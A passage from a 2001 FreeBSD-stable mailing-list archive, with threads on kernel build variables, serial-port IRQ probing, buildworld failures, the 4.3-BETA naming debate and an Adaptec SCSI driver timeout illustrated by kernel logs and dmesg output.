16 Mar 2001 23:02:24 -0500 (EST) (envelope-from doug@safeport.com) X-Authentication-Warning: fledge.watson.org: doug owned process doing -bs Date: Fri, 16 Mar 2001 23:02:23 -0500 (EST) From: Doug Denault X-Sender: doug@fledge.watson.org To: James Housley Cc: freebsd-stable@freebsd.org Subject: Re: make installkernel KERNEL=client In-Reply-To: <3AB2D28B.A58B2C09@thehousleys.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Well actually the only ref I can find (about March 1) suggests that KERNEL will work for some time. Since the source I was using was from Jan 31,2001 I assumed that predated KERNCONF. On Fri, 16 Mar 2001, James Housley wrote: > Doug Denault wrote: > > > > It appears there are some values of client that do not work. I was > > installing a new system using a build-server. Since it is going to be a > > mail server I named it mail.domain.com and tried > > > > make buildkernel KERNEL=MAIL > > > > As the discussion on this list and questions for the last 7 days have > pointed out, KERNCONF is the proper name. Try that. > > Jim > -- > /"\ ASCII Ribbon Campaign . > \ / - NO HTML/RTF in e-mail . > X - NO Word docs in e-mail . > / \ ----------------------------------------------------------------- > jeh@FreeBSD.org http://www.FreeBSD.org The Power to Serve > jim@TheHousleys.Net http://www.TheHousleys.net > --------------------------------------------------------------------- > Hi! I'm a .signature virus! Copy me in your ~/.signature > to help me spread! <- Save this lifeform ;-) > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 20:44:18 2001 Delivered-To: freebsd-stable@freebsd.org Received: from krycek.zoominternet.net (krycek.zoominternet.net [63.67.120.9]) by hub.freebsd.org (Postfix) with SMTP id 9347437B719 for ; Fri, 16 Mar 2001 20:44:15 -0800 (PST) (envelope-from dmmiller@cvzoom.net) Received: (qmail 11213 invoked from network); 17 Mar 2001 04:34:51 -0000 Received: from acs-63-90-94-38.zoominternet.net (HELO cvzoom.net) (63.90.94.38) by krycek.zoominternet.net with SMTP; 17 Mar 2001 04:34:51 -0000 Message-ID: <3AB2EB9E.678D068B@cvzoom.net> Date: Fri, 16 Mar 2001 23:44:14 -0500 From: Donn Miller X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Dinesh Nair Cc: freebsd-stable@freebsd.org Subject: Re: sio2 References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Dinesh Nair wrote: > Mar 17 00:22:16 prophet /kernel: sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 > Mar 17 00:22:16 prophet /kernel: sio0: type 16550A > Mar 17 00:22:16 prophet /kernel: sio1: configured irq 3 not in bitmap of probed irqs 0 > Mar 17 00:22:16 prophet /kernel: sio2: configured irq 5 not in bitmap of probed irqs 0x8 > Mar 17 00:22:16 prophet /kernel: sio2 at port 0x3e8-0x3ef irq 5 on isa0 > Mar 17 00:22:16 prophet /kernel: sio2: type 16550A > Mar 17 00:22:17 prophet /kernel: sio3: configured irq 9 not in bitmap of probed irqs 0 > > i've checked dmesg, and irq 5 is not used anywhere else. yet it recognizes > sio2 as a 16550A serial device. what does irq not in bitmap of probed irqs > mean ? and what does the 0x0 and 0x8 that follows it mean ? It's telling you that the IRQ itself is free, but there's probably something else wrong, like the port address is wrong. You can change this in your kernel config. First, I would disable or eliminate the sio devices that you don't need or aren't using. Second, when you boot up, go to the BIOS setup screen. See if you can find the address the modem is at, i.e., the port address, e.g. 0x2f8. Make sure this matches the address of sio2 (or whatever) in your kernel config. Or, you can change the port address at the boot-up screen by hitting any key, and then typing boot -c. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 20:47:36 2001 Delivered-To: freebsd-stable@freebsd.org Received: from lafontaine.cybercable.fr (lafontaine.cybercable.fr [212.198.0.202]) by hub.freebsd.org (Postfix) with SMTP id C29A437B719 for ; Fri, 16 Mar 2001 20:47:33 -0800 (PST) (envelope-from clefevre@poboxes.com) Received: (qmail 13254628 invoked from network); 17 Mar 2001 04:47:32 -0000 Received: from d165.dhcp212-231.cybercable.fr (HELO gits.dyndns.org) ([212.198.231.165]) (envelope-sender ) by lafontaine.cybercable.fr (qmail-ldap-1.03) with SMTP for ; 17 Mar 2001 04:47:32 -0000 Received: (from root@localhost) by gits.dyndns.org (8.11.3/8.11.3) id f2H4lTI06630; Sat, 17 Mar 2001 05:47:30 +0100 (CET) (envelope-from clefevre@poboxes.com) To: David Xu Cc: Keith Stevenson , Sean Chittenden , freebsd-stable@FreeBSD.ORG Subject: Re: Re[2]: Perl 5.6 merged soon? References: <20010315080445.A57062@clyde.goodleaf.net> <20010315095551E.jkh@osd.bsdi.com> <20010315121201.E54243@rand.tgd.net> <20010315161158.A7645@osaka.louisville.edu> <1331110877.20010316090408@21cn.com> X-Face: V|+c;4!|B?E%BE^{E6);aI.[<97Zd*>^#%Y5Cxv;%Y[PT-LW3;A:fRrJ8+^k"e7@+30g0YD0*^^3jgyShN7o?a]C la*Zv'5NA,=963bM%J^o]C Reply-To: Cyrille Lefevre In-Reply-To: David Xu's message of "Fri, 16 Mar 2001 09:04:08 +0800" From: Cyrille Lefevre Mail-Copies-To: never Date: 17 Mar 2001 05:47:28 +0100 Message-ID: Lines: 15 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Channel Islands) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG David Xu writes: > if perl needn't in base system, we needn't hack perl and bmake, and > can put perl in ports, it seems ksh93 in base system is a solution, > this makes base system smaller. could anyone consider it? does ksh93 > have license problem for FreeBSD? well, the ksh93 build process isn't really simple and probably need some hack w/ bmake, also ! nmake is far different / powerfull / complicated than bmake. Cyrille. -- home: mailto:clefevre@poboxes.com UNIX is user-friendly; it's just particular work: mailto:Cyrille.Lefevre@edf.fr about who it chooses to be friends with. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 20:52:45 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail.catseye.net (dsl-64-34-131-193.telocity.com [64.34.131.193]) by hub.freebsd.org (Postfix) with SMTP id C5B3837B718 for ; Fri, 16 Mar 2001 20:52:43 -0800 (PST) (envelope-from thl-list-freebsd-stable@catseye.net) Received: (qmail 18084 invoked by uid 1001); 17 Mar 2001 04:52:34 -0000 Date: Fri, 16 Mar 2001 22:52:34 -0600 From: Timothy Legant To: freebsd-stable@FreeBSD.ORG Subject: Re: BETA induced nervousness Message-ID: <20010316225233.E17792@mail.catseye.net> Mail-Followup-To: freebsd-stable@FreeBSD.ORG References: <20010316214210.5a3dc591.steveo@eircom.net> <20010316160949.A3791@guinness.osdn.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010316160949.A3791@guinness.osdn.com>; from mij@osdn.com on Fri, Mar 16, 2001 at 04:09:49PM -0500 X-Editor: Vim (http://www.vim.org/) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Mar 16, 2001 at 04:09:49PM -0500, Jim Mock wrote: > So, the question is.. how can we get something like this to the most > people without printing that section of the FAQ and stapling it to their > foreheads? Why don't we post an explanation on Slashdot the day before we label the BETA? That's about the digital equivalent of "forehead-stapling". Tim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 21:12:15 2001 Delivered-To: freebsd-stable@freebsd.org Received: from sanson.reyes.somos.net (freyes.static.inch.com [216.223.199.224]) by hub.freebsd.org (Postfix) with ESMTP id 4682237B719 for ; Fri, 16 Mar 2001 21:12:12 -0800 (PST) (envelope-from fran@reyes.somos.net) Received: from zoraida.reyes.somos.net (zoraida.reyes.somos.net [192.168.10.6]) by sanson.reyes.somos.net (8.9.3/8.9.3) with ESMTP id AAA29214; Sat, 17 Mar 2001 00:01:23 -0500 (EST) (envelope-from fran@reyes.somos.net) Date: Sat, 17 Mar 2001 00:16:37 -0500 (EST) From: Francisco Reyes To: Mike Meyer Cc: Haikal Saadh , Subject: Re: 4.3-BETA In-Reply-To: <15025.56670.539540.505724@guru.mired.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 16 Mar 2001, Mike Meyer wrote: > Haikal Saadh types: > > > > --- Matthew Emmerton wrote: > > > > What is a BETA system? Is it similiar to CURRENT? > > > > > > Please search through the mailing list archives > > > before asking questions. > > > This has been answered many times over the last two > > > weeks. > Or maybe just read the FAQ http://www.freebsd.org/FAQ/admin.html#dmin.html#RELEASE-CANDIDATE >, > which makes it clear that the name changes just identify what point of > the release cycle that particular snapshot of -STABLE is at. I have seen several people tell Haikal to read the FAQ, etc.... I really have to agree with him. I don't think having a "Beta" label on what is defined in the handbook as "Stable" is a good idea. By definition a "new user" to FreeBSD is someone who doesn't know yet what are the right places to read/check. He did mentioned having read something on the Handbook so he is along the right lines, but if we expect ever single new user to know where to look then we are not expecting them to be new users. I think responses like the ones he got are the reason we consistantly over the years get views of sometimes been unfrienly to new users. Perhaps a label of "Pre-Release" may be less confusing. "Beta" sure gives the wrong impression. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 21:14:34 2001 Delivered-To: freebsd-stable@freebsd.org Received: from sanson.reyes.somos.net (freyes.static.inch.com [216.223.199.224]) by hub.freebsd.org (Postfix) with ESMTP id D2E9D37B718 for ; Fri, 16 Mar 2001 21:14:31 -0800 (PST) (envelope-from fran@reyes.somos.net) Received: from zoraida.reyes.somos.net (zoraida.reyes.somos.net [192.168.10.6]) by sanson.reyes.somos.net (8.9.3/8.9.3) with ESMTP id AAA29232; Sat, 17 Mar 2001 00:03:44 -0500 (EST) (envelope-from fran@reyes.somos.net) Date: Sat, 17 Mar 2001 00:18:58 -0500 (EST) From: Francisco Reyes To: Jim Mock Cc: "Steve O'Hara-Smith" , Subject: Re: BETA induced nervousness In-Reply-To: <20010316160949.A3791@guinness.osdn.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 16 Mar 2001, Jim Mock wrote: > So, the question is.. how can we get something like this to the most > people without printing that section of the FAQ and stapling it to their > foreheads? How about instead of Beta using "Pre-Release". To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 21:22: 6 2001 Delivered-To: freebsd-stable@freebsd.org Received: from guru.mired.org (okc-65-26-235-186.mmcable.com [65.26.235.186]) by hub.freebsd.org (Postfix) with SMTP id 9C40837B718 for ; Fri, 16 Mar 2001 21:22:02 -0800 (PST) (envelope-from mwm@mired.org) Received: (qmail 9031 invoked by uid 100); 17 Mar 2001 05:22:01 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15026.62584.999579.19774@guru.mired.org> Date: Fri, 16 Mar 2001 23:22:00 -0600 To: Francisco Reyes Cc: Mike Meyer , Haikal Saadh , Subject: Re: 4.3-BETA In-Reply-To: References: <15025.56670.539540.505724@guru.mired.org> X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Francisco Reyes types: > On Fri, 16 Mar 2001, Mike Meyer wrote: > > Haikal Saadh types: > > > > > > --- Matthew Emmerton wrote: > > > > > What is a BETA system? Is it similiar to CURRENT? > > > > > > > > Please search through the mailing list archives > > > > before asking questions. > > > > This has been answered many times over the last two > > > > weeks. > > > Or maybe just read the FAQ > http://www.freebsd.org/FAQ/admin.html#dmin.html#RELEASE-CANDIDATE >, > > which makes it clear that the name changes just identify what point of > > the release cycle that particular snapshot of -STABLE is at. > I have seen several people tell Haikal to read the FAQ, etc.... > I really have to agree with him. I don't think having a "Beta" label on > what is defined in the handbook as "Stable" is a good idea. > > By definition a "new user" to FreeBSD is someone who doesn't know yet > what are the right places to read/check. In that case, where did they find the information needed to upgrade to -STABLE? > I think responses like the ones he got are the reason we consistantly over > the years get views of sometimes been unfrienly to new users. We're definitely friendlier to people who show evidence of having done some research themselves than to those who don't show that evidence. Personally, I always provide a pointer to existing documentation rather than type it in myself. That saves me typing, and the users should learn about another valuable resource that works faster than the mail lists. Haikal wasn't asking for help, he was suggesting inappropriate changes to the system to try and help people who had gotten past the newbie stage - as demonstrated by managing to update to -STABLE, getting both userland and kernel - past a problem. > Perhaps a label of "Pre-Release" may be less confusing. "Beta" sure gives > the wrong impression. That suggestion isn't inappropriate. On the other hand the label "-RC" (release candidate) stil generates problems, so I'm not sure it would work. I suspect that *any* change in name will generate "I tried to get -STABLE, and got -FOO" messages. Not changing it would make life difficult for users who *wanted* to know they were getting a BETA or RC version. Possibly this information needs to go in the handbook on tracking -STABLE, rather than a FAQ. http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 23:30:52 2001 Delivered-To: freebsd-stable@freebsd.org Received: from metrotel.net.co (metrotel.agrecon.com.co [200.30.54.1]) by hub.freebsd.org (Postfix) with ESMTP id A1B0A37B718 for ; Fri, 16 Mar 2001 23:30:44 -0800 (PST) (envelope-from fmiranda@metrotel.net.co) Received: from metrotel.net.co (interasyn139.metrotel.net.co [209.25.107.139]) by metrotel.net.co (8.9.1/8.9.1) with ESMTP id CAA28537 for ; Sat, 17 Mar 2001 02:31:18 -0500 (EST) Message-ID: <3AB2CC07.1EB280AB@metrotel.net.co> Date: Fri, 16 Mar 2001 21:29:28 -0500 From: nefr0ma X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.0-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-stable@freebsd.org Subject: Make buildworld fails Content-Type: multipart/mixed; boundary="------------68597E586F53169CCE04AE89" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --------------68597E586F53169CCE04AE89 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hello, my machine runs freebsd -4.0-release, but, it has been impossible to upgrade it to 4-stable, or 4.2. I'm trying to upgrade it to 4.0-stable, this tag in the supfile is "RELENG=4_0_0_RELEASE", i can "cvsup" the source code suceffully, but "making" buildworld i get this error: ..... .... install -C -C -o root -g wheel -m 444 /usr/src/gnu/lib/libobjc/../../../contrib /gcc/objc/encoding.h /usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/hash.h / usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/objc-act.h /usr/src/gnu/lib/li bobjc/../../../contrib/gcc/objc/objc-api.h /usr/src/gnu/lib/libobjc/../../../con trib/gcc/objc/objc-list.h /usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/obj c.h /usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/runtime.h /usr/src/gnu/li b/libobjc/../../../contrib/gcc/objc/sarray.h /usr/src/gnu/lib/libobjc/../../../c ontrib/gcc/objc/thr.h /usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/typedst ream.h /usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/NXConstStr.h /usr/src/ gnu/lib/libobjc/../../../contrib/gcc/objc/Object.h /usr/src/gnu/lib/libobjc/../. ./../contrib/gcc/objc/Protocol.h /usr/obj/usr/src/i386/usr/include/objc install: /usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/hash.h: No such file or directory *** Error code 71 1 error *** Error code 2 1 error *** Error code 2 1 error *** Error code 2 1 error hostname# anyone can help me? --------------68597E586F53169CCE04AE89 Content-Type: text/plain; charset=us-ascii; name="foo" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="foo" install -C -C -o root -g wheel -m 444 /usr/src/gnu/lib/libobjc/../../../contrib /gcc/objc/encoding.h /usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/hash.h / usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/objc-act.h /usr/src/gnu/lib/li bobjc/../../../contrib/gcc/objc/objc-api.h /usr/src/gnu/lib/libobjc/../../../con trib/gcc/objc/objc-list.h /usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/obj c.h /usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/runtime.h /usr/src/gnu/li b/libobjc/../../../contrib/gcc/objc/sarray.h /usr/src/gnu/lib/libobjc/../../../c ontrib/gcc/objc/thr.h /usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/typedst ream.h /usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/NXConstStr.h /usr/src/ gnu/lib/libobjc/../../../contrib/gcc/objc/Object.h /usr/src/gnu/lib/libobjc/../. ./../contrib/gcc/objc/Protocol.h /usr/obj/usr/src/i386/usr/include/objc install: /usr/src/gnu/lib/libobjc/../../../contrib/gcc/objc/hash.h: No such file or directory *** Error code 71 1 error *** Error code 2 1 error *** Error code 2 1 error *** Error code 2 1 error hostname# --------------68597E586F53169CCE04AE89-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 23:31:37 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mx1.ZSEA.zp.ua (ZSEA.zp.ua [212.8.40.5]) by hub.freebsd.org (Postfix) with ESMTP id 4FF2937B718 for ; Fri, 16 Mar 2001 23:31:29 -0800 (PST) (envelope-from laa@laa.zp.ua) Received: (from laa@localhost) by mx1.ZSEA.zp.ua (8.x.x/8.x.x) with œ id f2H7VBf70962; Sat, 17 Mar 2001 09:31:11 +0200 (EET) (envelope-from laa@laa.zp.ua)œ Date: Sat, 17 Mar 2001 09:31:11 +0200 From: "Alexandr A. Listopad" To: Roberto Nunnari Cc: stable@FreeBSD.ORG Subject: Re: kernel core dump Message-ID: <20010317093111.A70589@laa.zp.ua> References: <3AB261C3.7F555A9D@die.supsi.ch> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3AB261C3.7F555A9D@die.supsi.ch>; from nunnari@die.supsi.ch on Fri, Mar 16, 2001 at 07:56:03PM +0100 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Mar 16, 2001 at 07:56:03PM +0100, Roberto Nunnari wrote: > Hi all. > > Does setting 'dumpdev=/dev/ad0s2b' in rc.conf > enables the generation of kernel core dumps? > > /dev/ad0s2b is the swap partition. > > will the system upon next reboot automatically save > the core on the filesystem or it's necessary to do > it by hand in single user mode? yes, if you type ``panic'' in ddb mode after panic. -- Laa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 23:41:41 2001 Delivered-To: freebsd-stable@freebsd.org Received: from smtp.wanadoo.nl (smtp.wanadoo.nl [194.134.193.6]) by hub.freebsd.org (Postfix) with ESMTP id 2DFA837B719 for ; Fri, 16 Mar 2001 23:41:38 -0800 (PST) (envelope-from steveo@eircom.net) Received: from ams-gw.sohara.org (p0878.vcu.wanadoo.nl [194.134.202.115]) by smtp.wanadoo.nl (8.11.2/8.11.2) with SMTP id f2H7fUq19987; Sat, 17 Mar 2001 08:41:35 +0100 (MET) Date: Sat, 17 Mar 2001 08:41:27 +0100 From: "Steve O'Hara-Smith" To: mij@osdn.com Cc: freebsd-stable@FreeBSD.ORG Subject: Re: BETA induced nervousness Message-Id: <20010317084127.08f7c7f9.steveo@eircom.net> In-Reply-To: <20010316160949.A3791@guinness.osdn.com> References: <20010316214210.5a3dc591.steveo@eircom.net> <20010316160949.A3791@guinness.osdn.com> X-Mailer: Sylpheed version 0.4.60 (GTK+ 1.2.8; FreeBSD 4.3-BETA; i386) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 16 Mar 2001 16:09:49 -0500 Jim Mock wrote: JM> So, the question is.. how can we get something like this to the most JM> people without printing that section of the FAQ and stapling it to their JM> foreheads? Best I can think of would be to do as many as feasible of 1. Spit it out just after make *world (onle at BETA/RC) 2. Put it in /etc/motd 3. Repeat verbatim on first post from non-reader to -stable 4. Print in inverse and nail to foreheads -- Life is complex - it has real and imaginary parts. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 4:31:21 2001 Delivered-To: freebsd-stable@freebsd.org Received: from terra.talksport.net (terra.talksport.net [195.52.75.81]) by hub.freebsd.org (Postfix) with ESMTP id CB76737B718 for ; Sat, 17 Mar 2001 04:31:13 -0800 (PST) (envelope-from IVaudrey@talksport.co.uk) Received: from hfmailsweeper.talksport.co.uk (hfmailsweeper.talksport.co.uk [172.16.2.6]) by terra.talksport.net (Postfix) with ESMTP id C72A225D0E for ; Sat, 17 Mar 2001 12:31:23 +0000 (GMT) Received: from hfxchng01.talksport.co.uk (unverified) by hfmailsweeper.talksport.co.uk (Content Technologies SMTPRS 4.2.1) with ESMTP id for ; Sat, 17 Mar 2001 12:31:05 +0000 Received: by hfexchange.talksport.co.uk with Internet Mail Service (5.5.2653.19) id <1ZN5N3T2>; Sat, 17 Mar 2001 12:31:05 -0000 Message-ID: <544628B329466143978F08385B987A6E243661@hfexchange.talksport.co.uk> From: Ian Vaudrey To: "'stable@FreeBSD.ORG'" Subject: Re: Uh oh. Looks like something broke with the AHC driver.. Date: Sat, 17 Mar 2001 12:31:03 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Cy Schubert wrote: > >About a month ago I had this problem too. At first it was infrequent >becoming much worse later. A scan by the the Adaptec disk >scan utility >showed me that the disk had gone bad. > I'm seeing a very similar problem to the one described by Jordan after installing 4.3-BETA2 on a machine with a brand new drive. The drive is a 9.2G Quantum Atlas 10K II and the controller is an Adaptec 19160 (BIOS version 2.57.2). The drive passes the verify media test built into the controller and also passes all the tests included in the Quantum DPS test suite. Log extract and dmesg output follow: Mar 17 11:16:33 mars /kernel: (da0:ahc0:0:0:0): SCB 0x34 - timed out in Data-out phase, SEQADDR == 0x14a Mar 17 11:16:50 mars /kernel: STACK == 0x67, 0x164, 0x35, 0xe4 Mar 17 11:16:50 mars /kernel: SXFRCTL0 == 0x80 Mar 17 11:16:50 mars /kernel: ahc0: Dumping Card State at SEQADDR 0x14a Mar 17 11:16:50 mars /kernel: SCSISEQ = 0x12, SBLKCTL = 0xa, SSTAT0 0x0 Mar 17 11:16:50 mars /kernel: SCB count = 140 Mar 17 11:16:50 mars /kernel: Kernel NEXTQSCB = 13 Mar 17 11:16:50 mars /kernel: Card NEXTQSCB = 43 Mar 17 11:16:50 mars /kernel: QINFIFO entries: 43 4 31 16 29 42 59 22 68 11 25 67 1 27 57 15 46 21 54 58 50 12 65 24 9 33 2 44 38 18 45 28 37 20 51 3 40 55 7 30 49 35 41 32 26 69 56 8 36 66 39 34 23 64 5 53 63 10 14 17 47 0 6 Mar 17 11:16:50 mars /kernel: Waiting Queue entries: Mar 17 11:16:50 mars /kernel: Disconnected Queue entries: Mar 17 11:16:50 mars /kernel: QOUTFIFO entries: Mar 17 11:16:50 mars /kernel: Sequencer Free SCB List: 29 4 24 14 22 6 13 0 12 11 30 15 28 27 10 19 23 3 25 26 7 17 1 31 5 2 20 21 8 16 9 Mar 17 11:16:50 mars /kernel: Pending list: 6 0 47 17 14 10 63 53 5 64 23 34 39 66 36 8 56 69 26 32 41 35 49 30 7 55 40 3 51 20 37 28 45 18 38 44 2 33 9 24 65 12 50 58 54 21 46 15 57 27 1 67 25 11 68 22 59 42 29 16 31 4 43 52 Mar 17 11:16:50 mars /kernel: Kernel Free SCB list: 62 139 120 121 122 123 124 125 126 127 128 129 110 111 112 113 114 115 116 117 118 119 100 101 102 103 104 105 106 107 108 109 90 91 92 93 94 95 96 97 98 99 80 81 82 83 84 85 86 87 88 89 70 71 72 73 74 75 76 77 78 79 60 61 19 48 138 137 136 135 134 133 132 131 130 Mar 17 11:16:50 mars /kernel: sg[0] - Addr 0xba0000 : Length 4096 Mar 17 11:16:50 mars /kernel: sg[1] - Addr 0x1841000 : Length 4096 Mar 17 11:16:50 mars /kernel: (da0:ahc0:0:0:0): BDR message in message buffer Mar 17 11:16:50 mars /kernel: (da0:ahc0:0:0:0): SCB 0x34 - timed out in Data-out phase, SEQADDR == 0x11a Mar 17 11:16:50 mars /kernel: STACK == 0xe4, 0x67, 0x164, 0x35 Mar 17 11:16:50 mars /kernel: SXFRCTL0 == 0x80 Mar 17 11:16:50 mars /kernel: ahc0: Dumping Card State at SEQADDR 0x11a Mar 17 11:16:50 mars /kernel: SCSISEQ = 0x12, SBLKCTL = 0xa, SSTAT0 0x0 Mar 17 11:16:50 mars /kernel: SCB count = 140 Mar 17 11:16:50 mars /kernel: Kernel NEXTQSCB = 13 Mar 17 11:16:50 mars /kernel: Card NEXTQSCB = 43 Mar 17 11:16:50 mars /kernel: QINFIFO entries: 43 4 31 16 29 42 59 22 68 11 25 67 1 27 57 15 46 21 54 58 50 12 65 24 9 33 2 44 38 18 45 28 37 20 51 3 40 55 7 30 49 35 41 32 26 69 56 8 36 66 39 34 23 64 5 53 63 10 14 17 47 0 6 Mar 17 11:16:50 mars /kernel: Waiting Queue entries: Mar 17 11:16:50 mars /kernel: Disconnected Queue entries: Mar 17 11:16:50 mars /kernel: QOUTFIFO entries: Mar 17 11:16:50 mars /kernel: Sequencer Free SCB List: 29 4 24 14 22 6 13 0 12 11 30 15 28 27 10 19 23 3 25 26 7 17 1 31 5 2 20 21 8 16 9 Mar 17 11:16:50 mars /kernel: Pending list: 6 0 47 17 14 10 63 53 5 64 23 34 39 66 36 8 56 69 26 32 41 35 49 30 7 55 40 3 51 20 37 28 45 18 38 44 2 33 9 24 65 12 50 58 54 21 46 15 57 27 1 67 25 11 68 22 59 42 29 16 31 4 43 52 Mar 17 11:16:50 mars /kernel: Kernel Free SCB list: 62 139 120 121 122 123 124 125 126 127 128 129 110 111 112 113 114 115 116 117 118 119 100 101 102 103 104 105 106 107 108 109 90 91 92 93 94 95 96 97 98 99 80 81 82 83 84 85 86 87 88 89 70 71 72 73 74 75 76 77 78 79 60 61 19 48 138 137 136 135 134 133 132 131 130 Mar 17 11:16:50 mars /kernel: sg[0] - Addr 0xba0000 : Length 4096 Mar 17 11:16:50 mars /kernel: sg[1] - Addr 0x1841000 : Length 4096 Mar 17 11:16:50 mars /kernel: (da0:ahc0:0:0:0): no longer in timeout, status = 34b Mar 17 11:16:50 mars /kernel: ahc0: Issued Channel A Bus Reset. 64 SCBs aborted Mar 17 11:20:00 mars /USR/SBIN/CRON[67083]: (root) CMD (/usr/libexec/atrun) Mar 17 11:25:00 mars /USR/SBIN/CRON[73081]: (root) CMD (/usr/libexec/atrun) Copyright (c) 1992-2001 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 4.3-BETA #0: Sat Mar 17 08:51:23 GMT 2001 root@mars.talksport.net:/usr/obj/usr/src/sys/GENERIC Timecounter "i8254" frequency 1193182 Hz CPU: Pentium III/Pentium III Xeon/Celeron (501.14-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x673 Stepping = 3 Features=0x383f9ff real memory = 134152192 (131008K bytes) avail memory = 126230528 (123272K bytes) Preloaded elf kernel "kernel" at 0xc044c000. Pentium Pro MTRR support enabled md0: Malloc disk npx0: on motherboard npx0: INT 16 interface pcib0: on motherboard pci0: on pcib0 pcib2: at device 1.0 on pci0 pci1: on pcib2 pci1: at 0.0 isab0: at device 7.0 on pci0 isa0: on isab0 atapci0: port 0xa000-0xa00f at device 7.1 on pci0 uhci0: port 0xa400-0xa41f irq 15 at device 7.2 on pci0 usb0: on uhci0 usb0: USB revision 1.0 uhub0: VIA UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 uhub0: 2 ports with 2 removable, self powered fxp0: port 0xa800-0xa83f mem 0xec000000-0xec0fffff,0xec101000-0xec101fff irq 11 at device 8.0 on pci0 fxp0: Ethernet address 00:d0:b7:9d:94:e2 ahc0: port 0xac00-0xacff mem 0xec100000-0xec100fff irq 10 at device 10.0 on pci0 aic7892: Wide Channel A, SCSI Id=7, 32/255 SCBs pci0: (vendor=0x125d, 